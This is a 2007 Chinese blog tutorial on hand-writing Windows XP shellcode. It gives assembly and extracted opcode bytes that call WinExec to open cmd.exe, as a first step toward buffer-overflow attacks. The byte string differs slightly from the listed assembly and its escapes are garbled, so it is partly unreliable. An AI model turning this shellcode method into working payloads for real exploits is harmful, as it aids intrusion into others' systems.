如何手动编写shellcode


看来我是要从汇编入手做些事情了。汇编如今的用途不过是逆向工程,加解密,有害代码分析,漏洞挖掘以及一些有害代码生成,如病毒,缓冲区溢出攻击。首先申明这些我都不会,有些只知道皮毛。我连菜鸟都算不上,最多是条菜虫。
这几天看了看缓冲区溢出,写下来一点心得,一是希望有高人指导,二是总结一下。
今天说说shellcode的生成,当然是win32平台下的,linux本人没有什么研究(菜吧)。
shellcode一般C语言或者汇编语言生成,如果你也是刚学shellcode,最好手动自己生成,但是如果你已是高手就自己写个模版,自动生成。这方面Hume大侠已有论述,很多知名网络安全网站都有刊载。
现在举个最简单的手动生成shellcode的例子,假如我们已经找到了溢出点,这个shellcode会让你获取一个cmd命令行执行你想要执行的命 令,很简单吧,说白了就是调用Winexec函数,只不过我们要把它转化为shellcode。平台xp-sp2,环境VC(就不用专门的 debugger了)。
由于已知了平台,我们首先获取想要API的地址,这里是WinExec。怎么获取?
HINSTANCE LibHandle = LoadLibrary("kernel32.dll");
MYPROC ProcAdd = (MYPROC) GetProcAddress(LibHandle, "WinExec");
得到ProcAdd =0x7c86114d,这个就是WinExec的地址了。
下面我用汇编写执行WinExec的代码,有点基础的人一看就明白。
push ebp
mov ebp,esp
xor edi,edi
push edi
sub esp,04h
mov [ebp-08h],63h //c
mov [ebp-07h],6Dh //m
mov [ebp-06h],64h //d
mov [ebp-05h],2Eh //.
mov [ebp-04h],65h //e
mov [ebp-03h],78h //x
mov [ebp-02h],65h //e
push 1 //压栈第一个参数
lea eax,[ebp-08h]
push eax //压栈第二个参数“cmd.exe”字符串
mov edx,0x7c86114d //调用WinExec
call edx
leave //mov esp,ebp pop ebp
下面打开VC调试器获取机器码。按alt+8,点右键选Code Bytes,然后就是体力活了,摘取机器码就行了。
最后的shellcode为shellcode[ ]=""x8B"xE5"x55"x8B"xEC"x33"xC0"x50"x83"xEC"x04"xC6"
""x45"xF8"x63"xC6"x45"xF9"x6D"xC6"x45"xFA"x64"xC6"
""x45"xFB"x2E"xC6"x45"xFC"x65"xC6"x45"xFD"x78"xC6"
""x45"xFE"x65"xB8"x01"x00"x00"x00"x50"x8D"x45"xF8"
""x50"xBA"x4D"x11"x86"x7C"xFF"xD2"xC9";
这么调用一下:((void(*)(void)) &shellcode)();一个命令行窗口就出来了,很简单。
注意的问题:子程序调用规则和堆栈平衡问题!子程序调用规则,唉,我实在懒得说了,如果你常调试汇编代码这个就是个超简单的问题了。push ebp mov ebp,esp主要就是这两句,保护ebp和给esp赋值,我不细说了。最后不要忘了给esp还原值和ebp的出栈,否则会压栈不平衡。
这仅仅是个手动写shellcode的最简单例子,可以提出以下问题:1。通用型问题,在不同的平台下不要说API函数就连Kernel32.dll基址 也不同,这时你需要你个通用性的shellcode,自己找Kernel32.dll的基址,自己找想要的API(这让我想起了线程插入)2。方便快捷问 题,如果shellcode的功能较多总不能人力摘取机器码吧?这就有个自动提取问题。这个问题随着我以后深入学习会讨论。
从这个例子入手,可以看出写shellcode并非难于登天,由简如繁,希望以后有兴趣的人和我一起讨论。
如果明天有时间我将要初步讨论下缓冲区溢出问题,我特地写了个例子程序,有助于我这种菜虫了解^_^。

posted on 2007-08-24 16:59  dhb133  阅读(1223)  评论(0编辑  收藏  举报

导航